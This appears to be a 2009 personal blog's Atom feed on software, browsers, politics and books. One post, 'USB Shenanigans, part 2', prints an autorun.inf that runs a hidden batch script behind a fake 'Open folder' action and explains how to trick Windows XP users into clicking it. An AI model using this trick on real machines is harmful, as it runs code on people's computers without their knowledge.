<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>michaelkirkland.org/blog</title>
<updated>2009-03-19T02:39:37Z</updated>
<id>tag:michaelkirkland.org,2008:/blog</id>
<link rel="self" type="application/atom+xml" href="http://michaelkirkland.org/rss" />
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog" />

<entry>
<title>svg_graph</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2009/03/19/svg_graph" />
<id>tag:michaelkirkland.org,2009-03-19:/svg_graph</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2009-03-19T02:39:37Z</published>
<updated>2011-08-09T18:26:16Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="16" label="code" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="17" label="open source" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="27" label="microsoft" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="44" label="firefox" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="55" label="chrome" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="62" label="svg_graph" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="63" label="projects" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="64" label="javascript" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="65" label="programming" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="66" label="safari" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="67" label="opera" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="68" label="ie" />

<summary><![CDATA[I've decided to release a tool I developed for the self quantification system I'm building. svg_graph is a Javascript object that builds timeline graphs and injects them into XHTML documents.

I've tested it on Firefox, Chrome, Safari and Opera, and it should work on any browser that supports XHTML and SVG. Unfortunately IE doesn't support either, so it won't work there.

More information and download here.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>I've decided to release a tool I developed for the self quantification system I'm building. svg_graph is a Javascript object that builds timeline graphs and injects them into XHTML documents.</p>

<p>I've tested it on Firefox, Chrome, Safari and Opera, and it should work on any browser that supports XHTML and SVG. Unfortunately IE doesn't support either, so it won't work there.</p>

<p>More information and download <a href="http://michaelkirkland.org/svg_graph/">here</a>.</p>]]></content>
</entry>

<entry>
<title>USB Shenanigans, part 2</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2009/01/27/usb_shenanigans__part_2" />
<id>tag:michaelkirkland.org,2009-01-27:/usb_shenanigans__part_2</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2009-01-27T05:48:55Z</published>
<updated>2009-01-27T05:48:55Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="10" label="usb" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="11" label="articles" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="12" label="security" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="27" label="microsoft" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="34" label="shenanigans" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="61" label="windows" />

<summary><![CDATA[In Part 1 we demonstrated a lean usb bootable system that could be used for shenanigans. That approach requires a rather unattended system, and has the potentially noticeable drawback of requiring a reboot.

Here we'll discuss a method to get similar results without a reboot, and perhaps without even access to the computer in question. That method is the Windows autorun feature, which of course only our friends from Redmond are "helpful" enough to provide.

The autorun feature is a simple...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>In <a href="http://michaelkirkland.org/blog/2008/06/20/usb_shenanigans__part_1">Part 1</a> we demonstrated a lean usb bootable system that could be used for shenanigans. That approach requires a rather unattended system, and has the potentially noticeable drawback of requiring a reboot.</p>

<p>Here we'll discuss a method to get similar results without a reboot, and perhaps without even access to the computer in question. That method is the Windows autorun feature, which of course only our friends from Redmond are "helpful" enough to provide.</p>

<p>The autorun feature is a simple script that must be in a file named autorun.inf at the root of a drive. It lets you set a command to be run if the drive is doubleclicked in My Computer, one or more commands to be presented when the drive is inserted, and change the icon used in that list. All very thoughtful and convenient things for people up to no good.</p>

<p>The following is an autorun file that we'll be using:</p>
<pre>
[autorun]
shellexecute="stuff\stuff.bat"
icon=%systemroot%\system32\shell32.dll,4
action=Open folder to view files
shell\Open\command="stuff\stuff.bat"
</pre>

<p>This gives us a command in the list displayed that looks very similar to the default "just open the drive" command:</p>

<p><img src="/postimg/xpautorunsparse.png"></p>

<p>Many people will barely look at the dialog before clicking ok and running whatever shenanigans you have in the command. So long as you do actually open a folder on the drive for them, they may never notice. We can make it less obvious by appealing to our friends in Redmond's tendency to spam about the crapware they like to include. Put an image and audio file on the drive, and Microsoft will happily fill out the dialog with nonsense:</p>

<p><img src="/postimg/xpautoruncrowded.png"></p>

<p>Microsoft has toned down this silliness in Windows 7. You'll not be able to crowd out the real command with spam, and your shenanigans won't be the default action. You can still make your script look inviting, but you'll be a lot less successful as people start upgrading:</p>

<p><img src="/postimg/win7autoplay.png"></p>

<p>I'll assume this is on purpose, most likely at least somewhat due to the multimillion node strong botnet built with the help of this sort of trickery.</p>

<p>However, there are still other ways to pull these shenanigans on Windows machines, without any (human) trickery and we'll cover them in part 3.</p>]]></content>
</entry>

<entry>
<title>QT now LGPLed</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2009/01/22/qt_now_lgpled" />
<id>tag:michaelkirkland.org,2009-01-22:/qt_now_lgpled</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2009-01-22T20:42:21Z</published>
<updated>2009-01-22T20:42:21Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="4" label="copyfight" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="17" label="open source" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="45" label="software" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="57" label="qt" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="58" label="trolltech" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="59" label="nokia" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="60" label="awesomesauce" />

<summary><![CDATA[I'd been hoping this might happen ever since Nokia bought Trolltech, but now it's happened.

Qt, the cross platform library most widely used as the base for KDE can now be used by all projects, regardless of the license they use. Qt is an awesome library, and Trolltech was certainly justified in charging for commercial licenses, but it effectively nixed any non-open source activity on the KDE platform. If you just needed Qt for KDE support, the licensing fees were just too onerous to consid...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>I'd been hoping this might happen ever since Nokia bought Trolltech, but now it's <a href="http://arstechnica.com/news.ars/post/20090114-nokia-qt-lgpl-switch-huge-win-for-cross-platform-development.html">happened</a>.</p>

<p>Qt, the cross platform library most widely used as the base for KDE can now be used by all projects, regardless of the license they use. Qt is an awesome library, and Trolltech was certainly justified in charging for commercial licenses, but it effectively nixed any non-open source activity on the KDE platform. If you just needed Qt for KDE support, the licensing fees were just too onerous to consider. (They stopped advertising them at some point, but IIRC they were about $4k per developer per year.)</p>

<p>This didn't nudge people to opening proprietary software, it just pushed them away from KDE to Gnome/GTK. Now that this hurdle is gone, both projects can compete on their merits rather than their licenses.</p>]]></content>
</entry>

<entry>
<title>Router side chats</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/11/11/router_side_chats" />
<id>tag:michaelkirkland.org,2008-11-11:/router_side_chats</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-11-11T02:17:53Z</published>
<updated>2008-11-11T02:17:53Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="5" label="politics" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="6" label="usians" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="39" label="intertubes" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="53" label="obama" />

<summary><![CDATA[Change.gov

Did the Americans just elect the first internet president?

I thought this was when he was supposed to sit down and soberly explain that, regardless of the campaign, he does not in fact poop sunshine.

He doesn't... right?

--

Update:

Apparently they've silently removed all the pages under the "agenda" topic. Granted this is all happening fast, but doing it surreptitiously isn't very encouraging.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p><a href="http://change.gov">Change.gov</a></p>

<p>Did the Americans just elect the first internet president?</p>

<p>I thought this was when he was supposed to sit down and soberly explain that, regardless of the campaign, he does not in fact poop sunshine.</p>

<p>He doesn't... right?</p>

<p>--</p>

<p>Update:</p>

<p>Apparently they've <a href="http://www.boingboing.net/2008/11/10/changegov-is-going-t.html">silently removed</a> all the pages under the "agenda" topic. Granted this is all happening fast, but doing it surreptitiously isn't very encouraging.</p>]]></content>
</entry>

<entry>
<title>Google releases a browser</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/09/02/google_releases_a_browser" />
<id>tag:michaelkirkland.org,2008-09-02:/google_releases_a_browser</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-09-02T21:43:25Z</published>
<updated>2008-09-02T21:43:25Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="16" label="code" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="17" label="open source" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="27" label="microsoft" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="33" label="net neutrality" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="36" label="google" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="39" label="intertubes" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="45" label="software" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="55" label="chrome" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="56" label="spam" />

<summary><![CDATA[Today Google released their new browser, Chrome. It's very pretty, sleek, and it implements an idea that's a been sorely needed in the browser space for a long time.

Chrome separates each tab into its own process, so if a page or plugin (*cough* Flash *cough*) causes a crash, it can only take out that tab. The rest of your tabs and browser instances keep going on their own.

This has been desperately needed in browsers for years. Most people keep at least one, and often several browser i...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Today Google released their new browser, <a href="http://google.com/chrome">Chrome</a>. It's very pretty, sleek, and it implements an idea that's a been sorely needed in the browser space for a long time.</p>

<p>Chrome separates each tab into its own process, so if a page or plugin (*cough* Flash *cough*) causes a crash, it can only take out that tab. The rest of your tabs and browser instances keep going on their own.</p>

<p>This has been desperately needed in browsers for years. Most people keep at least one, and often several browser instances open at all times so it's quite a nuisance when some silly plugin brings the whole show down. Firefox has made some kludges to handle this, like the ability to restore a session after a crash, and they probably would have moved in this direction eventually.</p>

<p>Chrome also has a new, streamlined Javascript engine, <a href="http://code.google.com/p/v8/">v8</a>. This, along with the robustness that a multi-process browser brings, makes Chrome an excellent platform for the web applications (like <a href="http://mail.google.com">Gmail</a> and <a href="http://docs.google.com">Google Docs</a>).</p>

<p>That's what Chrome is really about. If they can get it installed widely, they (and anyone else) can make an end run around Microsoft's OS monopoly. The clincher is an open document standard, which is why Microsoft has been fighting the Open Document standard so viciously, and trying to force their proprietary format through the ISO process. Without that, Microsoft can hold on to their OS monopoly by withholding Office from any serious competitors.</p>

<p>There are a few disappointments with Chrome. There's no ad filtering, and as yet no extension mechanism to implement it (though they've <a href="http://groups.google.com/group/chromium-dev/browse_thread/thread/e19faa5eb095f737">promised</a> to rectify the latter).</p>

<p>Google is, of course, not going to be terribly keen about people stripping advertisements from the web, but they also will have to face the fact that it's necessary. I realize they have to walk a fine line with this, but they're in a great position to help mediate between the extremes of filtering absolutely everything (as many Firefox users do with Adblock Plus and <a href="http://easylist.adblockplus.org/">EasyList/Element</a>) and the downright offensive lengths some advertisers will go to to annoy the crap out of people.</p>

<p>Google could start a clearing house for web advertising with a voluntary code of conduct requiring advertisers to tag their ads appropriately for filtering by the browser. Public key encryption could be used to verify that an ad is released by a member in good standing. Users who don't want to see animated ads, ads with sound, ads for porn or whatever could filter those and let less obnoxious advertising through to support the sites they visit. There could even be an automatic negotiation between the browser and ad server. A user who may be willing to accept text ads could be presented with those instead of being forced to block all ads to keep the annoying ones out.</p>]]></content>
</entry>

<entry>
<title>Harper chomping at the bit for an election</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/08/26/harper_chomping_at_the_bit_for_an_election" />
<id>tag:michaelkirkland.org,2008-08-26:/harper_chomping_at_the_bit_for_an_election</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-08-26T22:06:19Z</published>
<updated>2008-08-26T22:06:19Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="5" label="politics" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="50" label="soviet canuckistan" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="51" label="harper" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="52" label="dion" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="53" label="obama" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="54" label="election" />

<summary><![CDATA[Steven Harper is pushing hard to call a snap election in the next week or so. Canadian election law mandates a 6 week campaign, so we'd actually be at the polls no earlier than mid-October.
Why is Harper so keen on an election right now? The political landscape isn't really in his favour; the best he could hope for would be another Conservative minority government. That's not in his personal best interest, as it would likely result in his position being reassessed by the party.
Harper claim...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Steven Harper is <a href="http://www.theglobeandmail.com/servlet/story/RTGAM.20080826.wfallelection0826/BNStory/National/home">pushing hard</a> to call a snap election in the next week or so. Canadian election law mandates a 6 week campaign, so we'd actually be at the polls no earlier than mid-October.</p>
<p>Why is Harper so keen on an election right now? The political landscape isn't really in his favour; the best he could hope for would be another Conservative minority government. That's not in his personal best interest, as it would likely result in his position being reassessed by the party.</p>
<p>Harper claims that the current parliament is dysfunctional, but that clearly isn't the case. By any objective measurement, this parliament has been extremely compliant in its minority status. The Conservatives have gotten quite a bit of their agenda through, which is unusual in a minority parliament, especially considering that they have no real allies in the other parties.</p>
<p>Dion <a href="http://www.cbc.ca/canada/saskatchewan/story/2008/08/25/dion-saskatoon.html">has suggested</a> that Harper wants to preempt several by-elections that have been called, and that he wants to avoid committee hearings on Conservative scandals. I don't think that's really it. Yes, the Liberals would get a bit of momentum from wins in the by-elections, but that's not certain and hardly fatal anyway. The committee hearings are important, but they haven't gotten much traction in the public view.</p>
<p>In my view, Harper is terrified of Obama. Improved relations with the US was the primary selling point the Conservatives used in the last election and that would be squarely on the Liberal's side with Obama in the Whitehouse. Further, it'd be seen as inappropriate for the Liberals to assume that Obama will be the president before he's elected, so Harper is desperate to get Canadians to the polls before November 4th.</p>]]></content>
</entry>

<entry>
<title>Psystar plans to counter sue Apple</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/08/26/psystar_plans_to_counter_sue_apple" />
<id>tag:michaelkirkland.org,2008-08-26:/psystar_plans_to_counter_sue_apple</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-08-26T20:52:53Z</published>
<updated>2008-08-26T20:52:53Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="4" label="copyfight" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="5" label="politics" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="38" label="business" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="46" label="apple" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="48" label="psystar" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="49" label="eulas" />

<summary><![CDATA[Psystar has laid out its defence plans against Apple. They will be suing them under the Sherman Antitrust Act and the Clayton Antitrust Act arguing that tying OS X to Apple hardware is monopolistic.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Psystar has laid out its defence plans against Apple. They will be <a href="http://news.yahoo.com/s/cnet/20080826/tc_cnet/83011357931002603337;_ylt=AhOe3ylYEndedc3UYnPCToQjtBAF">suing them</a> under the Sherman Antitrust Act and the Clayton Antitrust Act arguing that tying OS X to Apple hardware is monopolistic.</p>]]></content>
</entry>

<entry>
<title>Slashdot on Firefox's SSL mess</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/08/22/slashdot_on_firefox_s_ssl_mess" />
<id>tag:michaelkirkland.org,2008-08-22:/slashdot_on_firefox_s_ssl_mess</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-08-22T20:25:46Z</published>
<updated>2008-08-22T20:25:46Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="12" label="security" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="44" label="firefox" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="45" label="software" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="47" label="slashdot" />

<summary><![CDATA[Slashdot has picked up on Firefox 3's terrible certificate management system, pointing to this article. While I'm rather critical of Mozilla's handling of this, they're in the right in this case.

The article in question points out several sites with expired certificates getting terrible error messages. This is the right thing to do, those sites should trip a giant "OMGWTF" flag in browsers. They're broken, and the lax treatment they've gotten from browsers in the past has not prompted thei...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p><a href="http://tech.slashdot.org/article.pl?sid=08/08/22/1139236">Slashdot</a> has picked up on Firefox 3's terrible certificate management system, pointing to <a href="http://royal.pingdom.com/?p=339">this</a> article. While I'm rather critical of Mozilla's handling of this, they're in the right in this case.</p>

<p>The article in question points out several sites with expired certificates getting terrible error messages. This is the right thing to do, those sites should trip a giant "OMGWTF" flag in browsers. They're broken, and the lax treatment they've gotten from browsers in the past has not prompted their admins to fix them.</p>

<p>The problem isn't with legitimate security issues like lapsed certificates, it's the fact that Firefox has effectively banned self-signed certificates for technical illiterates. There are many use cases where commercially available Certificate Authorities are not practical or even outright impossible.</p>

<p>Hardware firewalls, for example, cannot use CA signed certificates. For one, their final sale price is often at or below that of a CA signed certificate for a single year, and for another they won't have a permanent, externally accessible DNS name to certify. It's fine to say that users of commercial grade equipment should be able to add exceptions, but your average Mom & Pop with a $50 Linksys firewall probably won't manage.</p>

<p>This change won't result in better security. It can only result in either people deciding Firefox doesn't work, or that configuring their routers is just too hard. Hundreds of thousands of identical systems running with default passwords open to the wider internet will not make the world a better place.</p>]]></content>
</entry>

<entry>
<title>Psystar still selling Mac clones</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/08/14/psystar_still_selling_mac_clones" />
<id>tag:michaelkirkland.org,2008-08-14:/psystar_still_selling_mac_clones</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-08-14T18:46:14Z</published>
<updated>2008-08-14T18:46:14Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="4" label="copyfight" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="5" label="politics" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="28" label="haha" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="38" label="business" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="46" label="apple" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="48" label="psystar" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="49" label="eulas" />

<summary><![CDATA[Psystar, the plucky little Mac clone company, is still selling its wares despite the Apple lawsuit. They've hired some pretty heavy hitters themselves, so I'm not quite convinced they're really doing this on their own.

Regardless, I wish them luck. If they can force Apple to accept commoditized hardware it will be a big win for the whole industry, Apple included.

Well, except for Microsoft.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Psystar, the plucky little Mac clone company, is <a href="http://www.informationweek.com/news/hardware/mac/showArticle.jhtml?articleID=210004021">still selling its wares</a> despite the Apple lawsuit. They've hired some pretty <a href="http://www.carrferrell.com/">heavy hitters</a> themselves, so I'm not quite convinced they're really doing this on their own.</p>

<p>Regardless, I wish them luck. If they can force Apple to accept commoditized hardware it will be a big win for the whole industry, Apple included.</p>

<p>Well, except for Microsoft.</p>]]></content>
</entry>

<entry>
<title>On Firefox's antipathy to encryption</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/07/08/on_firefox_s_antipathy_to_encryption" />
<id>tag:michaelkirkland.org,2008-07-08:/on_firefox_s_antipathy_to_encryption</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-07-08T22:21:05Z</published>
<updated>2008-07-08T22:21:05Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="12" label="security" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="44" label="firefox" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="45" label="software" />

<summary><![CDATA[Overall, Firefox 3 is a great update. It's faster, leaner and though others may disagree, I love the Awesome Bar. Unfortunately, it's extremely hostile to secure web browsing and makes it all but impossible for regular users to use encryption for non-commercial purposes.

Previously, Firefox 2 would warn the user when accessing a secure site that didn't prove it's identity (a self-signed certificate), but it would let them through. Firefox 3 throws a screaming hissy fit, and forces the user...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Overall, Firefox 3 is a great update. It's faster, leaner and though others may disagree, I love the Awesome Bar. Unfortunately, it's extremely hostile to secure web browsing and makes it all but impossible for regular users to use encryption for non-commercial purposes.</p>

<p>Previously, Firefox 2 would warn the user when accessing a secure site that didn't prove it's identity (a self-signed certificate), but it would let them through. Firefox 3 throws a screaming hissy fit, and forces the user through not one, but <b>four</b> confusing and intimidating gauntlets, none like the other. The stereotypical grandma simply isn't going to be able to make her way through that. Firefox 3 will not allow her to use encryption anywhere but her bank.</p>

<p>Phishing is a problem, but solving it does not justify banning all non-commercial encryption outside the nerd ghetto.</p>]]></content>
</entry>

<entry>
<title>Yay, books for me</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/07/08/yay__books_for_me" />
<id>tag:michaelkirkland.org,2008-07-08:/yay__books_for_me</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-07-08T01:45:43Z</published>
<updated>2008-07-08T14:54:56Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="24" label="fanboy" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="25" label="scifi" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="40" label="books" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="41" label="amazon" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="42" label="charles stross" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="43" label="iain m banks" />

<summary><![CDATA[Amazon delivered Charles Stross' newest, Saturn's Children for me today. Stross is one of the most prolific authors in scifi today, but I find I'm always desperately waiting for something new from him. Even if it has a really silly cover.

I also picked up Iain M Bank's Matter and Excession. I've only recently been turned on to his Culture universe, and I've loved it. Once these are done, there's only 3 more for me, though. :(]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Amazon delivered Charles Stross' newest, <a href="http://www.amazon.com/dp/0441015948/?tag=michaelkirkla-20">Saturn's Children</a> for me today. Stross is one of the most prolific authors in scifi today, but I find I'm always desperately waiting for something new from him. Even if it has a really silly cover.</p>

<p>I also picked up Iain M Bank's <a href="http://www.amazon.com/dp/0316005363/?tag=michaelkirkla-20">Matter</a> and <a href="http://www.amazon.com/gp/product/0553575376/michaelkirkla-20">Excession</a>. I've only recently been turned on to his <a href="http://en.wikipedia.org/wiki/The_Culture">Culture</a> universe, and I've loved it. Once these are done, there's only 3 more for me, though. :(</p>]]></content>
</entry>

<entry>
<title>On the Google/Microsoft/Yahoo love triangle</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/07/08/on_the_google_microsoft_yahoo_love_triangle" />
<id>tag:michaelkirkland.org,2008-07-08:/on_the_google_microsoft_yahoo_love_triangle</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-07-08T01:15:06Z</published>
<updated>2008-07-08T01:15:06Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="27" label="microsoft" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="36" label="google" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="37" label="yahoo" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="38" label="business" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="39" label="intertubes" />

<summary><![CDATA[David Kirkpatrick of Fortune published an editorial on the stumbling dance between Google, Yahoo, and Microsoft. He's mostly right on the old-school business issues, but he misses a lot on tech and what it means.

They seem to have gotten the idea that Microsoft's search has caught up with Google's technologically, but they provide no justification for that opinion. (On an anecdotal note, shortly after the previous entry was crawled by the msnbot, I started getting links from them on "traff...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>David Kirkpatrick of Fortune <a href="http://money.cnn.com/2008/07/03/technology/kirkpatrick_search.fortune/">published</a> an editorial on the stumbling dance between Google, Yahoo, and Microsoft. He's mostly right on the old-school business issues, but he misses a lot on tech and what it means.</p>

<p>They seem to have gotten the idea that Microsoft's search has caught up with Google's technologically, but they provide no justification for that opinion. (On an anecdotal note, shortly after the previous entry was crawled by the msnbot, I started getting links from them on "traffic" from the UK.) It seems like he's just repeating talking points or fishing for advertising dollars.</p>

<p>Google is still unequivocally the best search engine to use, but Kirkpatrick is right in that this doesn't really matter much for Google's bottom line (but wrong on <i>why</i>). Google makes it's money by buying and selling advertising. If it owns the destinations those ads are ultimately served on, great, they get a bigger slice of the pie, but they're just as happy to split it with anyone else.</p>

<p>That's where Google and Microsoft part ways. Google isn't threatened by Yahoo existing alongside them offering search and mail, in fact they're quite happy to sell ads for them. Microsoft cannot stand the idea of anyone, anywhere competing with them. For them, it's all or nothing. Microsoft needs to get it's hands on all the pie, where as Google will just make more pie.</p>

<p>Where does Yahoo fall in this? They're just fine where they are. They're in the red, and Google isn't going to crush them for daring to compete. Microsoft would certainly like to, but they haven't the ability. Yahoo's visitors are almost all going to be people using Microsoft's operating system and browser which will default to their search engine and other things. People visiting yahoo.com have made a conscious decision <i>not</i> to use Microsoft's web services, and that's not going to change if Microsoft buys them.</p>

<p>Google can get away with buying web services because people like them (and they don't change them for the worse). People don't like Microsoft, so expect an exodus of visitors from Yahoo if they get their mits on them. Most of those will go to Google, and there will be a bloom of independent implementations of things Yahoo does well, like Flickr. Don't be surprised if Google is one of them.</p>

<p>Kirkpatrick thinks Google has an Ebay like hold on the ad market, but they really don't. There are lots of other similar services. Google gets the most attention because they've got a lot of goodwill, but they could easily be overtaken in this market if they pissed people off. Unfortunately for Microsoft, that's not particularly likely to happen, and they've got such a terrible reputation that they'll never be able to match Google's goodwill. Neither can traditional advertising companies, who haven't built us lots of cool toys as Google has, and who seem incapable of knowing when to say 'no' to ad buyers.</p>

<p>So no, Google's advantage isn't control over any market, and while they've got some cool tech, that serves mainly to increase the size of their market for everyone. Ultimately, Google's real advantage is that people don't think they're bastards.</p>]]></content>
</entry>

<entry>
<title>AVG sending fake web traffic from its customers</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/07/03/avg_sending_fake_web_traffic_from_its_customers" />
<id>tag:michaelkirkland.org,2008-07-03:/avg_sending_fake_web_traffic_from_its_customers</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-07-03T18:20:16Z</published>
<updated>2008-07-03T18:20:16Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="12" label="security" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="28" label="haha" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="34" label="shenanigans" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="35" label="malware" />

<summary><![CDATA[The Register reports that anti-virus company AVG is sending out fake web traffic from its customer's IPs as they surf the web. They're identifying their bot as Internet Explorer 6. AVG claims they're doing this because they malware pages would just block or spoof their bot if it used a proper user agent.

There's a bit of outrage in some sectors, because this is driving up traffic and skewing people's logging and analysis. Some are outright blocking IE6, or redirecting the traffic to AVG's ...]]></summary>
